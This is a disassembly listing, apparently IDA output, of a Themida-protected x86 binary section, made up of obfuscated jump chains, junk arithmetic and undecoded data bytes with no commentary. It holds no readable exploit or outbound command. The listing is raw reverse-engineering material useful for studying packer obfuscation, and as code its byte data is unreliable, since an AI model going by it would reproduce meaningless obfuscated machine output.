pop edi push ebp mov ebp, esp jmp loc_515360 ; --------------------------------------------------------------------------- dw 0DBF7h dd 7FC1F381h, 1FE9211Dh, 81FFFFF3h, 48497CF3h, 7E3C12Fh dd 2AABCB81h, 0C3815199h, 3EC64C51h, 0DF8EB81h, 40E961AAh dd 66FFFF9Eh, 663CCB68h, 81241489h, 4ECh, 0EF0DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C1C6: ; CODE XREF: Themida_:0051C885j mov [esp], ebp push edx mov edx, 337F3037h jmp loc_51A05C ; --------------------------------------------------------------------------- loc_51C1D4: ; CODE XREF: Themida_:00513C14j mov [esp], edx push ecx push 6DE6183Ch mov ecx, [esp] add esp, 4 add ecx, 66546FC9h xor ecx, 9F41AAA5h mov edx, ecx pop ecx shl edx, 3 jmp loc_51CCD3 ; --------------------------------------------------------------------------- dw 0D35Ch dd 0E99C2424h, 0FFFEF3E1h ; --------------------------------------------------------------------------- loc_51C204: ; CODE XREF: Themida_:00512390j sub esp, 4 mov [esp], edi push 4 push dword ptr [esp] mov edi, [esp] jmp loc_51DAEB ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0BD555854h, 352707A0h, 0FF5122E9h, 0F3B3E9FFh, 0C181FFFEh dd 42AE2AC7h, 0FF994BE9h, 0FDED81FFh, 81704368h, 601AAAC3h dd 9BC38100h, 11A4430h, 9BEB81EBh, 811A4430h, 601AAAEBh dd 242C8B00h, 5004C483h, 0FF54B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C269: ; CODE XREF: Themida_:0051CA44j pop ebp jmp loc_50DCED ; --------------------------------------------------------------------------- db 0D1h dd 37E952EDh db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C277: ; CODE XREF: Themida_:0050E29Dj push eax mov al, 0D2h xor al, 0C1h jmp loc_515419 ; --------------------------------------------------------------------------- db 0BBh, 0D3h, 20h dd 0CB812942h, 6A8C6E68h, 0BD22E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C292: ; CODE XREF: Themida_:0051BD70j push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_519C36 ; --------------------------------------------------------------------------- dd offset dword_57CF68 align 2 dw 0C89h dd 0B0506624h, 0BC2AE990h, 0B850FFFFh, 43C3578Dh, 3C226735h dd 7DB95174h, 316B906Ah, 0DBE959C8h, 1FFFF49h, 65E981D9h dd 5B76EB4Dh, 0FF0051E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C2E1: ; CODE XREF: Themida_:00519CACj mov edi, 541194Eh push eax mov eax, 27B17511h or eax, 32DA02DFh jmp loc_512F25 ; --------------------------------------------------------------------------- loc_51C2F6: ; CODE XREF: Themida_:0050F0C8j pop ebp mov ebx, 25C2355h sub ebx, 13BD70C5h jmp loc_50B623 ; --------------------------------------------------------------------------- loc_51C307: ; CODE XREF: Themida_:0051DBCFj pop esi jmp loc_50D437 ; --------------------------------------------------------------------------- db 58h, 66h, 51h dd 5366C5B5h, 0DD204AB3h, 0FEF811E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C31D: ; CODE XREF: Themida_:005100F9j sub ecx, 4 jmp loc_51B29C ; --------------------------------------------------------------------------- dd 0BA241489h, 17A36BB8h, 3D01E9h, 0DBE95A00h, 0BDFFFFAAh dd 4, 5620EF81h, 0EF296321h, 5620C781h, 875D6321h, 895C243Ch dd 0EC83243Ch, 24248904h, 4240481h, 0FF000000h, 3C8B2434h dd 4C48124h, 0E9000000h, 6EDh, 43C5E954h, 248BFFFFh, 242CD224h dd 0F25FE99Ch, 0C580FFFEh, 4EDC001h, 0C580D5F6h, 0E122E901h dd 8166FFFFh, 580EFBEBh, 0D3B68h, 0CFD7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C3A6: ; CODE XREF: Themida_:00510DEDj add esp, 4 jmp loc_51E681 ; --------------------------------------------------------------------------- db 66h, 5Ah, 51h dd 0FFFDADE9h, 0EC8357FFh, 24248904h, 4240481h, 5F000000h dd 4C781h, 0E9510000h, 19B2h, 0E9EDD14Dh, 431Ah ; --------------------------------------------------------------------------- loc_51C3DC: ; CODE XREF: Themida_:00513DE0j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_50F4C7 ; --------------------------------------------------------------------------- db 81h, 0E6h, 0D1h dd 0F723013Fh, 0FBC681D6h, 2904B484h, 9EFCE9F3h, 0B252FFFFh dd 48D5E91Bh, 0CAFEFFFFh, 832C280h, 0DDF65AD5h, 88F1C580h dd 240C8BEFh, 8004C483h, 51666CEFh, 0FEF428E9h, 4C483FFh dd 4EC8152h, 89000000h, 0B0682404h, 0E9447409h, 0FFFFE622h dd 81F13166h, 2ECh, 34896600h, 14F76624h, 348B6624h, 5D2A6824h dd 7BE90000h, 0BBFFFF69h, 21084199h, 0B3EB814Bh, 0C134186Fh dd 0EBD107E3h, 1B8DF381h, 0EB812E57h, 15A362C9h, 1C8BDD89h dd 4C48124h, 0E9000000h, 0FFFFAC48h ; --------------------------------------------------------------------------- loc_51C4B0: ; CODE XREF: Themida_:0050CC90j xor ecx, 115C621Eh jmp loc_50FFFF ; --------------------------------------------------------------------------- loc_51C4BB: ; CODE XREF: Themida_:00520C11j xor al, bh push dword ptr [esp] mov ebx, [esp] jmp loc_512454 ; --------------------------------------------------------------------------- dd 0DF5435B9h, 55C1811Fh, 8175540Ch, 3A7BA7F1h, 8BC80191h dd 0C483240Ch, 555C0504h, 868300Ah, 89000008h, 13E9242Ch db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C4F3: ; CODE XREF: Themida_:00519FC4j xor al, 14h add al, 2Dh add ch, al mov eax, [esp] add esp, 4 or ch, 5Eh sub ch, 0B7h sub al, ch jmp loc_514A3A ; --------------------------------------------------------------------------- dd 575DEB29h, 7A3CEFBFh, 7E7C10Fh, 0FFDC14E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C51D: ; CODE XREF: Themida_:00512979j add ebx, 0CEC4DE77h push 0E3Eh jmp loc_512021 ; --------------------------------------------------------------------------- loc_51C52D: ; CODE XREF: Themida_:0050E2F8j add esp, 4 pop eax sub esp, 4 jmp loc_5128E7 ; --------------------------------------------------------------------------- db 0BEh dd 0C847490Dh, 348BF529h, 1E07E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C54E: ; CODE XREF: Themida_:0051DF40j xchg edx, ebx push edx push 4244h jmp loc_51A3B5 ; --------------------------------------------------------------------------- loc_51C55B: ; CODE XREF: Themida_:00518E4Cj mov [esp], ebx mov ebx, 4 add edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp or eax, eax jnz loc_51B6EF push ebx push 2F6Dh mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_51A10C ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 0FFFEF039h, 0E9C3005Ah, 0FFFF9D86h ; --------------------------------------------------------------------------- loc_51C5B4: ; CODE XREF: Themida_:0050D3DFj add edi, ecx sub edi, 22F325A2h pop ecx xor edi, [esp] xor [esp], edi jmp loc_5156DF ; --------------------------------------------------------------------------- loc_51C5C8: ; CODE XREF: Themida_:0050F754j push 0F83h mov [esp], ebx mov bh, 9Dh xor bh, 4Ah jmp loc_518AA0 ; --------------------------------------------------------------------------- dw 895Ch dd 0BF572404h, 5CF43E17h, 0D5DABBB8h, 8BF801CBh, 5E9243Ch dd 81FFFFA3h, 2B7533EDh, 2C875934h, 0E2E95C24h db 0EFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51C603: ; CODE XREF: Themida_:0050D4BBj mov [esp], esp add dword ptr [esp], 4 pop edx push ecx mov ecx, 78CA40E6h jmp loc_51DA29 ; --------------------------------------------------------------------------- dw 4905h dd 295C5771h, 71492DE8h, 49E95C57h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C627: ; CODE XREF: Themida_:0051336Bj mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or [edi+1Ch], ebp mov ebp, [esp] push 2061h mov [esp], eax jmp loc_514EF2 ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 3 dd 0FF00C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C655: ; CODE XREF: Themida_:00520004j add eax, 0E6E6307h add eax, ecx push ebp mov ebp, 0EDC7041h sub ebp, 6E0D3Ah sub eax, ebp pop ebp jmp loc_51D1B3 ; --------------------------------------------------------------------------- loc_51C670: ; CODE XREF: Themida_:0051E02Bj and eax, edi mov edi, [esp] add esp, 4 or edx, eax jmp loc_50D076 ; --------------------------------------------------------------------------- loc_51C682: ; CODE XREF: Themida_:00515C0Aj push ecx mov cl, 0Eh jmp loc_5138BC ; --------------------------------------------------------------------------- loc_51C68A: ; CODE XREF: Themida_:0051FFD7j not dword ptr [esp] pop eax push ebx jmp loc_511CA0 ; --------------------------------------------------------------------------- dd 0E1C3815Bh, 811E7477h, 8E1660EBh, 19EB8104h, 2961894Fh dd 19B951C3h, 0E961894Fh, 2192h, 4C481h, 34FF0000h, 2434FF24h dd 4C4835Eh, 18C5E9h, 6A26B800h, 13E966E0h, 52FFFF09h dd 6D48FBBAh, 8EC7B90Eh, 0D1292825h, 81D1F75Ah, 6A607DE9h dd 4DBD5570h, 2926683Fh, 2E95DE8h, 81FFFF7Ch, 2C4h, 0F5816600h dd 3EE94970h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51C707: ; CODE XREF: Themida_:0051BCC3j push ebp jmp loc_50C292 ; --------------------------------------------------------------------------- db 81h, 0C7h, 5 dd 1047118h, 0A312E9D7h, 0CA01FFFFh, 87C28159h, 4A57057Fh dd 10DDC281h, 0D701246Bh, 8324148Bh, 3C8704C4h, 0D8015C24h dd 0FF3071E9h, 5AD529FFh, 0FEF7A9E9h, 241C87FFh, 5324248Bh dd 619A68h, 240C8900h, 0E9D38853h, 0FFFFB248h ; --------------------------------------------------------------------------- loc_51C75C: ; CODE XREF: Themida_:0050BC71j add eax, 0F680685Ch mov ebp, eax pop eax push 6271h mov [esp], edx mov edx, ebp mov ebx, edx pop edx mov ebp, [esp] jmp loc_510708 ; --------------------------------------------------------------------------- loc_51C779: ; CODE XREF: Themida_:0050E180j sub cl, 64h sub al, cl jmp loc_512D91 ; --------------------------------------------------------------------------- loc_51C783: ; CODE XREF: Themida_:0051720Bj pop esp jmp loc_50CAA8 ; --------------------------------------------------------------------------- loc_51C789: ; CODE XREF: Themida_:00511EC9j add esi, 181327B4h add esi, 26547B18h sub esi, ebx jmp loc_5194B9 ; --------------------------------------------------------------------------- dd 4240483h, 4EC835Bh, 50242C89h, 272D3E68h, 24048B3Ch dd 2D04C483h, 41FB7AB1h, 57964696h, 2BB28ABFh, 34F42DFAh dd 552D10D3h, 538B67Eh, 49695553h, 532DF829h, 0E9496955h dd 219Fh, 0F9E95858h, 29FFFFA0h, 76E95EF2h, 8100003Ah dd 43724F7h, 5FF8894Dh, 0FF1FCCE9h, 7DD5BBFFh, 0E9526D19h dd 0FFFFD834h, 0EF805866h, 2CB1E9B4h, 6857FFFFh, 2, 56EA815Fh dd 816F4769h, 4F6BE3C2h, 81FA011Bh, 4F6BE3EAh, 4EC811Bh dd 89000000h, 6857241Ch, 760F7E0Dh, 0FF27A1E9h, 0EB814BFFh dd 68847387h, 1BF57h, 0FB290000h, 71B8505Fh, 0E91B3C5Bh dd 2E50h ; --------------------------------------------------------------------------- loc_51C858: ; CODE XREF: Themida_:0050FD6Ej dec edx shl edx, 7 push eax mov eax, 61CD521Dh jmp loc_50E27D ; --------------------------------------------------------------------------- db 59h dd 8704C783h, 525C243Ch, 0FA6D45BAh, 0F52EE949h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51C87A: ; CODE XREF: Themida_:0051AB96j mov edi, 2B183D7Ch sub edx, edi pop edi sub esp, 4 jmp loc_51C1C6 ; --------------------------------------------------------------------------- loc_51C88A: ; CODE XREF: Themida_:0050DF01j xchg esi, [esp] pop esp mov [esp], esi push 14A0h mov [esp], edx push ecx push eax sub dword ptr [esp], 29953C6Bh pop ecx add ecx, 29953C6Bh mov edx, ecx pop ecx mov esi, edx push dword ptr [esp] pop edx push ebx mov ebx, esp jmp loc_51FA07 ; --------------------------------------------------------------------------- loc_51C8BA: ; CODE XREF: Themida_:0051567Ej xor esi, 23015E8Eh add eax, esi pop esi not eax and eax, 15B1117Ah jmp loc_51AECA ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5E575600h, 5F54E95Fh, 0FF57FFFFh, 5F042474h, 5C24048Fh dd 0FF549EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51C8ED: ; CODE XREF: Themida_:005158F4j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_50C4AA ; --------------------------------------------------------------------------- dd 5003E3C1h, 0FFD020E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C909: ; CODE XREF: Themida_:00520F17j add ebp, 0FF7BFB54h jmp loc_521081 ; --------------------------------------------------------------------------- dd 0E9C1FE5Ah, 0FFFFE5D1h, 9D1C77FFh, 4185866h, 0BAE99C24h dd 51FFFEECh, 2F48DCB9h, 6CF18108h, 167FB35h, 0A02D59C8h dd 68395400h, 97h, 0BE243489h, 6EE05DEFh, 5203EEC1h, 0B80863BAh dd 5AD62948h, 7CB85055h, 895555E9h, 0EE2958C5h, 81242C8Bh dd 4ECh, 24348900h, 0C681E689h, 4, 8704C683h, 315C2434h dd 0BB535EF0h, 62D70F80h, 68FEE381h, 0F4E918E9h, 89FFFF65h dd 4DE9240Ch, 8BFFFFE2h, 0C481240Ch, 4, 7A68CBFEh, 89000064h dd 51B42404h, 0CAE9CCFEh db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C9B7: ; CODE XREF: Themida_:00518CB0j xchg edx, [esp] mov esp, [esp] jmp loc_512139 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 0FF557AE9h db 0FFh ; --------------------------------------------------------------------------- loc_51C9D1: ; CODE XREF: Themida_:0050DF22j mov ebp, 5DD01532h jmp loc_514FD4 ; --------------------------------------------------------------------------- aPs4 db 'P4',0 dd 24348700h, 6624248Bh, 5124048Bh, 0C1815954h, 4, 0FEF7B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C9F9: ; CODE XREF: Themida_:0051F1E2j push eax push ebp jmp loc_51916F ; --------------------------------------------------------------------------- loc_51CA00: ; CODE XREF: Themida_:00520AE0j pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_50C2F9 ; --------------------------------------------------------------------------- db 1, 0C1h, 0E9h dd 0FFFFBA4Bh ; --------------------------------------------------------------------------- loc_51CA14: ; CODE XREF: Themida_:00520521j dec ecx jmp loc_50B68F ; --------------------------------------------------------------------------- loc_51CA1A: ; CODE XREF: Themida_:0051A4F4j and esi, ecx pop ecx push edx mov edx, 67E7084Bh xor esi, edx jmp loc_516FA0 ; --------------------------------------------------------------------------- loc_51CA2A: ; CODE XREF: Themida_:0051FFCCj xchg ebp, [esp] jmp loc_51255E ; --------------------------------------------------------------------------- dw 0CB00h dd 0E9240C8Bh, 0FFFFBFB9h ; --------------------------------------------------------------------------- loc_51CA3C: ; CODE XREF: Themida_:0050C514j push ecx add dword ptr [esp], 2A980EC9h jmp loc_51C269 ; --------------------------------------------------------------------------- db 80h, 0C3h, 87h dd 1DE9DBF6h, 89000042h, 0C0E9243Ch, 5A00002Fh, 0FFCE01E9h dd 0E18951FFh, 40B5BD55h, 0F581382Ch, 7FA2FA6h, 8A72E952h dd 0D2F7FFFFh, 1C6DBD55h, 0D58717A0h, 0FF5C13E9h db 0FFh ; --------------------------------------------------------------------------- loc_51CA85: ; CODE XREF: Themida_:0051A819j add ebp, 8524751h add ebp, 657D3F7Eh or ebp, 61FB289Ah add ebp, 48A37A1Bh add edx, ebp jmp loc_51D56F ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFEDCEh ; --------------------------------------------------------------------------- loc_51CAAC: ; CODE XREF: Themida_:0051B0AAj push dword ptr [esp] pop edx add esp, 4 jmp loc_51BEDF ; --------------------------------------------------------------------------- dd 3F0A58BEh, 9BC6816Bh, 0F7776A44h, 1B850D6h, 0E949747Ch dd 0EE8h, 1A5D2CB9h, 0A3C18176h, 16F999Eh, 0BE5659C8h dd 0F423C4Bh, 0FF000BE9h, 0C7015BFFh, 8324048Bh, 3C8704C4h dd 89535C24h, 4C381E3h, 0E9000000h, 0FFFF74A9h, 0E389535Eh dd 4C381h, 0EC810000h, 4, 0FFBD15E9h, 2AB551FFh, 0C580C5FEh dd 8BEA8822h, 0C483240Ch, 0BAC28004h, 28CFEA80h, 0CFC280C2h dd 0FFAF7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_51CB39: ; CODE XREF: Themida_:0050D89Aj push dword ptr [esp] pop eax jmp loc_513FE4 ; --------------------------------------------------------------------------- loc_51CB42: ; CODE XREF: Themida_:0050D76Aj mov ecx, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ebx push ecx mov ecx, 10FF272Fh mov ebx, 1AA402DBh xor ebx, ecx pop ecx or ebx, 2F05217Dh push esi jmp loc_5110E3 ; --------------------------------------------------------------------------- loc_51CB68: ; CODE XREF: Themida_:00513C2Bj mov ecx, [esp] jmp loc_50F945 ; --------------------------------------------------------------------------- loc_51CB70: ; CODE XREF: Themida_:0051A43Ej mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or ecx, 17CE31CBh push ebp push eax push 354F1D93h pop eax jmp loc_50D95D ; --------------------------------------------------------------------------- dw 0E1C0h dd 4841E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CB9A: ; CODE XREF: Themida_:0051A9CCj push eax jmp loc_518890 ; --------------------------------------------------------------------------- loc_51CBA0: ; CODE XREF: Themida_:0050E06Dj inc edi not edi inc edi sub edi, 0EF701959h add ebx, edi mov edi, [esp] add esp, 4 pop edx add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_50BDA0 ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h aSx db '$]X',27h,0 dw 5D00h dd 4C581h, 0F6E90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CBD7: ; CODE XREF: Themida_:005120F7j mov ebx, 1354260h jmp loc_518D37 ; --------------------------------------------------------------------------- loc_51CBE1: ; CODE XREF: Themida_:0051EB2Dj push 6D64h mov [esp], ebp mov ebp, 40h mov edi, ebp mov ebp, [esp] push ebp jmp loc_515D47 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 2D68F7B8h, 6E712526h, 24E94A3Eh, 0FFFFFEFEh, 48B2434h dd 4C48124h, 68000000h, 2D75h, 89242C89h, 46856E5h, 0E9000000h dd 0FFFF4B6Eh, 55241C89h, 1056E951h, 1BEFFFFh, 29000000h dd 2EE8E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51CC42: ; CODE XREF: Themida_:0051E902j sub esp, 4 mov [esp], edx jmp loc_518604 ; --------------------------------------------------------------------------- db 5Dh, 31h, 0CDh dd 81240C8Bh, 4C4h, 4EC8100h, 0E9000000h, 0FFFF752Dh, 0CDB8505Ah dd 3171AC79h, 0E95358C2h, 280Ch, 0E680C6FEh, 32CE80E0h dd 0E9FECE80h, 0FFFFED95h, 0FE17CB80h, 5E3C0C3h, 505CF380h dd 0B080B753h, 5BF8281Dh, 0E0C0BA04h, 0F6C8FE02h, 5B34D0h dd 12CDE9C3h, 0C7810000h, 4, 8704EF83h, 895C243Ch, 0B9512414h dd 2A687E1Ah, 7E1EF181h, 84682A68h, 89000036h, 33E9240Ch db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CCD3: ; CODE XREF: Themida_:0051C1F5j push esi mov esi, 0DF1080Ah sub edx, esi jmp loc_51D621 ; --------------------------------------------------------------------------- dd 0F66F1F6h, 1AE9CCB6h, 83FFFF5Ch, 148904ECh, 0EC885024h dd 48BE288h, 0BA9AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CCFE: ; CODE XREF: Themida_:00519D15j add dword ptr [esp+4], 258B74D3h mov edi, [esp] add esp, 4 jmp loc_51ECD5 ; --------------------------------------------------------------------------- db 80h, 0EDh, 0BDh dd 246C8651h, 86D5F601h, 5901246Ch, 0C025B753h, 0E7D004EFh dd 28C8F780h, 0C5805BFDh, 0C5D4E9A0h, 572DFFFFh, 1229F66h dd 7CE958C6h, 0FF00003Ch, 815E2434h, 4C4h, 4BF5700h, 1000000h dd 2434FFFEh, 0EEB0E95Fh, 48FFFFFh, 51BD5524h, 0D1490026h dd 6EDC1EDh, 0F581DDF7h, 1E07FF0h, 8040F581h, 6C01FE8Dh dd 2FE90424h, 51FFFEECh, 802676B9h, 81F1811Ch, 0F7334161h dd 98E981D9h, 0E9649A5Dh, 0FFFF5BF4h, 1098F681h, 0F6811C9Fh dd 236A1B22h, 2797E9h, 58C30100h, 8B241C87h, 4292424h dd 26E99C24h, 29FFFEE8h, 241C8BD9h, 5204C483h, 0FEE963E9h db 0FFh ; --------------------------------------------------------------------------- loc_51CDCD: ; CODE XREF: Themida_:0051FCC2j mov esp, [esp] push 2A51h jmp loc_515DA9 ; --------------------------------------------------------------------------- dw 53ACh dd 0FF3AC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_51CDE1: ; CODE XREF: Themida_:0051310Bj mov esi, [esp] add esp, 4 add ebx, ebp pop ebp xor edi, ebx jmp loc_51321F ; --------------------------------------------------------------------------- db 51h, 0E9h, 65h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CDF7: ; CODE XREF: Themida_:005184BCj pop eax inc eax not eax sub eax, 2FE279A0h jmp loc_51AB1B ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 6 dd 43CDE281h, 63E92340h, 0B9FFFFFCh, 63320366h, 0D7E98141h dd 90458E6h, 505259CEh, 0FF9D32E9h db 0FFh ; --------------------------------------------------------------------------- loc_51CE29: ; CODE XREF: Themida_:00510CC8j xor ecx, 361535FCh not ecx add ecx, 0D7DC7BD3h push edi mov edi, 29F7482Bh jmp loc_512174 ; --------------------------------------------------------------------------- dw 8B66h dd 0D3682404h, 89000041h, 9FE92414h, 68FFFF71h, 5937h dd 68243489h, 4A95h, 83242489h, 8B042404h, 0DEE92434h dd 66FFFFF5h, 5324048Bh, 0BA52E389h, 4, 5934EB81h, 4BE935C7h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CE87: ; CODE XREF: Themida_:00513FE7j push 13C0h jmp loc_51A0A2 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 24248B24h, 57241489h dd 0C781E789h, 4, 4EF81h, 3C870000h, 0E6E95C24h, 0B8FFFF13h dd 2F220407h, 0C108E8C1h, 6E3505E0h, 895D268Ch, 335EE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51CEDA: ; CODE XREF: Themida_:0051DF5Fj mov ebp, 4 add edx, ebp jmp loc_51B193 ; --------------------------------------------------------------------------- dw 0BE56h dd 6D3C55A3h, 0C15EF731h, 0E7C104EFh, 40BE5606h, 2966E3A9h dd 0FB895EF7h, 1C3835Fh, 6B47C381h, 0C3816B8Fh, 0FDCEF8CEh dd 10E0C281h, 0DA016CFAh, 10E0EA81h, 34FF6CFAh, 0C4815B24h dd 4, 8B2434FFh, 0C483243Ch, 4C48104h, 87000000h, 248B2414h dd 48B6624h, 416D6824h, 2C890000h, 50E58924h, 160086B8h dd 115BE91Bh, 0ED810000h, 0B80FD5C3h, 575DEE89h, 0E6A8E951h dd 0EF83FFFFh, 7EF8101h, 0E905BB6Ah, 0FFFF5220h, 4F02EFC1h dd 5FC9CF81h, 25E92448h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51CF83: ; CODE XREF: Themida_:005108EAj push esi push edi mov edi, esp add edi, 4 jmp loc_51B14A ; --------------------------------------------------------------------------- dw 0E68h dd 89000009h, 0B652241Ch, 3003B7C8h, 0FD005AF7h, 1451E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51CFAA: ; CODE XREF: Themida_:00510AA9j push ecx mov ecx, esp push edi push ecx jmp loc_511E9C ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFEE621h ; --------------------------------------------------------------------------- loc_51CFC4: ; CODE XREF: Themida_:005199C8j push ebp jmp loc_50E2E2 ; --------------------------------------------------------------------------- loc_51CFCA: ; CODE XREF: Themida_:00514A17j xor [edx], eax pop edx pop ebx push ecx jmp loc_519D91 ; --------------------------------------------------------------------------- dd 2834B652h, 192C5AF0h, 1904F000h, 34FF3404h, 52EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CFEA: ; CODE XREF: Themida_:0051D0B4j mov esi, 6D617C7Ah jmp loc_516401 ; --------------------------------------------------------------------------- dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h, 0B82E924h dd 815E0000h, 4C6h, 4BA5200h, 29000000h, 34875AD6h, 3C895C24h dd 34FF5424h, 0EC835F24h, 24048904h, 405E089h, 83000000h dd 48704C0h, 5CE95C24h, 5A000032h, 0E924348Bh, 0FFFF0EFEh dd 912DD829h, 8B04427Dh, 0C483241Ch, 2A610504h, 34FF5F79h dd 0C4835B24h, 6B646804h, 0C890000h, 6BDD6824h, 0E9E95FFEh dd 58FFFF2Dh, 2811EB80h, 1C8B66DAh, 2C48324h, 0EC81DAF6h dd 4, 0B0240489h, 0E9C230C4h, 0FFFF3E6Dh, 4B7EEE81h, 1AE90795h db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51D0A3: ; CODE XREF: Themida_:0050CDD5j push 5EDFh mov [esp], ebx mov ebx, 292C35B8h add ebx, 1 push esi jmp loc_51CFEA ; --------------------------------------------------------------------------- loc_51D0B9: ; CODE XREF: Themida_:0051F063j add dword ptr [esp], 4E54B79h pop edx sub edx, 4E54B79h mov edi, [esp] add esp, 4 jmp loc_520A96 ; --------------------------------------------------------------------------- loc_51D0D2: ; CODE XREF: Themida_:00513C4Fj sub eax, 1AB83AD8h add ebx, eax jmp loc_516129 ; --------------------------------------------------------------------------- loc_51D0DE: ; CODE XREF: Themida_:00516399j xor [edx], eax push dword ptr [esp] mov edx, [esp] jmp loc_51668C ; --------------------------------------------------------------------------- loc_51D0EB: ; CODE XREF: Themida_:0051DDACj mov esi, 4E0E260Bh jmp loc_518BC9 ; --------------------------------------------------------------------------- db 1, 0FAh, 0E9h dd 0FFFF0BB3h, 52E9FE31h, 5B000002h, 0EB88E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D10A: ; CODE XREF: Themida_:00511DB8j mov edx, 4 jmp loc_50F400 ; --------------------------------------------------------------------------- loc_51D114: ; CODE XREF: Themida_:00514B92j mov esi, esp jmp loc_50E58D ; --------------------------------------------------------------------------- db 42h dd 4058F281h, 0D2F762BFh, 0FF3BA4E9h, 5EF029FFh, 330C68h dd 0D03BE900h, 483FFFFh, 48B0424h, 33F1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51D142: ; CODE XREF: Themida_:005178C2j add edi, ecx mov ecx, [esp] add esp, 4 jmp loc_51348C ; --------------------------------------------------------------------------- aITHz5 db ',$T]hZ5',0 align 4 dd 0FF453BE9h, 0E2E95AFFh, 81FFFF04h, 5F5327EBh, 81F3014Fh dd 5F5327C3h, 57C3814Fh, 0FF00873Eh, 505E2434h, 405E089h dd 5000000h, 4, 5C240487h, 5C241C87h, 9C240430h, 0FEE448E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D19D: ; CODE XREF: Themida_:0051AB4Aj mov edi, ebx pop ebx mov edx, 4E2169FBh jmp loc_50DE45 ; --------------------------------------------------------------------------- dw 8B55h dd 0AAE92404h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D1B3: ; CODE XREF: Themida_:0051C66Bj push dword ptr [esp] jmp loc_51EF62 ; --------------------------------------------------------------------------- db 51h dd 185DCEB9h, 0D0BA520Bh, 3151EF53h, 0C1815AD1h, 0F153FDB5h dd 3FD668h, 242C8900h, 20E95751h, 53000019h, 0FFBBA4E9h dd 0F5815DFFh, 17F81704h, 0B2C5814Dh, 89E84151h, 0BD555DEEh dd 76D24D7Fh, 815DEE31h, 0C32176F6h, 5EF02943h, 5E2434FFh dd 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 0FFFF83A9h ; --------------------------------------------------------------------------- loc_51D220: ; CODE XREF: Themida_:00512A35j pop ebp add esp, 4 jmp loc_50E397 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFABEEh, 815A5452h, 4C2h, 4BB5300h, 1000000h dd 241C8BDAh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch dd 1EC8h, 24048B66h, 81595451h, 4C1h, 4E98300h, 5C240C87h dd 0E9240C89h, 0D5Eh, 8159CD21h, 62BBAEEDh, 5DE98992h dd 0FFFFE981h, 0E9C1FFFFh, 0FFC18103h, 0E9FFFFFFh, 0FFFFBD95h ; --------------------------------------------------------------------------- loc_51D29C: ; CODE XREF: Themida_:0050E381j xchg ebp, [esp] pop esp jmp loc_51A9E7 ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 69F06824h, 515D0601h, 